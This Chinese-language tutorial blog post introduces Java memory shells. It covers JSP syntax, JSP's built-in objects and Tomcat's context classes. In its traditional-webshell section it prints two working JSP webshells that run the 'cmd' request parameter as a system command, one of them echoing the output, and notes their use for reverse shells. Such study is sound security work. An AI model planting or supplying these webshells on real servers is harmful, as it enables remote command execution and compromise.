Java安全-内存马介绍
依旧是基础知识
JSP基础
JSP简介
JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页
JSP环境搭建
参考此文章
Servlet 项目搭建 | Drunkbaby’s Blog
JSP语法
脚本程序
脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下
下面是使用示例
1 2 3 4 5 6
| <html> <body> <h2>Hello World!!!</h2> <% out.println("GoodBye!"); %> </body> </html>
|
JSP声明
一个声明语句可以声明一个或多个变量、方法,供后面的 Java 代码使用。JSP 声明语句格式如下
同样等价于下面的XML语句
1 2 3
| <jsp:declaration> 代码片段 </jsp:declaration>
|
下面是使用示例
1 2 3 4 5 6 7
| <html> <body> <h2>Hello World!!!</h2> <%! String s= "GoodBye!"; %> <% out.println(s); %> </body> </html>
|
在脚本里面可以直接进行声明的
JSP 表达式
等价于下面的XML表达式
1
| <jsp:expression> 表达式</jsp:expression>
|
下面是使用示例
1 2 3 4 5 6
| <html> <body> <h2>Hello World!!!</h2> <p><% String name = "1"; %>username:<%=name%></p> </body> </html>
|
输出如图
JSP 指令
JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

比如我们能通过page指令来设置jsp页面的编码格式
1
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
|
回显是一样的,因为 JSP 属于模板引擎
JSP 注释
格式如下
JSP内置对象
JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
- 由 JSP 规范提供,不用编写者实例化
- 通过 Web 容器实现和管理
- 所有 JSP 页面均可使用
- 只有在脚本元素的表达式或代码段中才能使用
| 对 象 |
类型 |
说 明 |
| request |
javax.servlet.http.HttpServletRequest |
获取用户请求信息 |
| response |
javax.servlet.http.HttpServletResponse |
响应客户端请求,并将处理信息返回到客户端 |
| out |
javax.servlet.jsp.JspWriter |
输出内容到 HTML 中 |
| session |
javax.servlet.http.HttpSession |
用来保存用户信息 |
| application |
javax.servlet.ServletContext |
所有用户共享信息 |
| config |
javax.servlet.ServletConfig |
这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数 |
| pageContext |
javax.servlet.jsp.PageContext |
JSP 的页面容器,用于访问 page、request、application 和 session 的属性 |
| page |
javax.servlet.jsp.HttpJspPage |
类似于 Java 类的 this 关键字,表示当前 JSP 页面 |
| exception |
java.lang.Throwable |
该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象。 |
传统内存马
1 2 3 4 5
| <%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
|
最简单的一句话木马,没有回显,适合用来反弹shell
访问一下

顺利弹出计算器
注入一个带回显的jsp木马
1 2 3 4 5 6 7 8 9 10 11 12
| <% if(request.getParameter("cmd")!=null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre>"); } %>
|
查询一下ipconfig

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。
- 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
- 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码
Tomcat 中的三个 Context 的理解
Context
Context会在WEB请求中记录每次request请求发生时的情形:当前WEB容器中有几个filter,有什么servlet,有什么listener,请求的参数,请求的路径,有没有什么全局的参数等等
Context元素代表一个Web 应用程序,它在特定的虚拟主机中运行。
处理每个 HTTP 请求的 Web 应用程序,都是基于将请求 URI 的前缀与每个定义的Context的*Context路径进行匹配。* 一旦选择,该Context将根据 Web 应用程序部署定义的 servlet 映射选择适当的 servlet 来处理传入请求。
可以根据需要定义任意数量的Context元素。每个Context必须在Host中具有唯一的Context名称。Context路径不需要是唯一的(参考并行部署)。此外,必须定义一个0长度的Context路径。这个Context 成为此虚拟主机的默认 Web 应用程序,用于处理与任何其他 Context 的Context路径不匹配的所有请求
ServletContext
ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。
大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package javax.servlet; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URL; import java.util.Enumeration; import java.util.EventListener; import java.util.Map; import java.util.Set; import javax.servlet.ServletRegistration.Dynamic; import javax.servlet.descriptor.JspConfigDescriptor; public interface ServletContext { String TEMPDIR = "javax.servlet.context.tempdir"; String getContextPath(); ServletContext getContext(String var1); int getMajorVersion(); int getMinorVersion(); int getEffectiveMajorVersion(); int getEffectiveMinorVersion(); String getMimeType(String var1); Set getResourcePaths(String var1); URL getResource(String var1) throws MalformedURLException; InputStream getResourceAsStream(String var1); RequestDispatcher getRequestDispatcher(String var1); RequestDispatcher getNamedDispatcher(String var1); Servlet getServlet(String var1) throws ServletException; Enumeration getServlets(); Enumeration getServletNames(); void log(String var1); void log(Exception var1, String var2); void log(String var1, Throwable var2); String getRealPath(String var1); String getServerInfo(); String getInitParameter(String var1); Enumeration getInitParameterNames(); boolean setInitParameter(String var1, String var2); Object getAttribute(String var1); Enumeration getAttributeNames(); void setAttribute(String var1, Object var2); void removeAttribute(String var1); String getServletContextName(); Dynamic addServlet(String var1, String var2); Dynamic addServlet(String var1, Servlet var2); Dynamic addServlet(String var1, Class var2); extends Servlet> T createServlet(Classvar1) throws ServletException; ServletRegistration getServletRegistration(String var1); Map ? extends ServletRegistration> getServletRegistrations(); javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2); javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2); javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2); extends Filter> T createFilter(Classvar1) throws ServletException; FilterRegistration getFilterRegistration(String var1); Map ? extends FilterRegistration> getFilterRegistrations(); SessionCookieConfig getSessionCookieConfig(); void setSessionTrackingModes(Setvar1); Set getDefaultSessionTrackingModes(); Set getEffectiveSessionTrackingModes(); void addListener(String var1); extends EventListener> void addListener(T var1); void addListener(Class var1); extends EventListener> T createListener(Classvar1) throws ServletException; JspConfigDescriptor getJspConfigDescriptor(); ClassLoader getClassLoader(); void declareRoles(String... var1); }
|
ApplicationContext
在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。也可以理解为 AOP 吧
其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等
StandardContext
org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下

而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

1 2 3 4 5 6
| ... @Override public String getRequestCharacterEncoding() { return context.getRequestCharacterEncoding(); } ...
|
context关系总结
我们可以用一张图来表示各Context的关系

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context
小结
感觉不看内存马,直接看context的关系和理解还是有点抽象的,有点晕晕的,希望看了内存马再回来复习这部分会变的清楚一些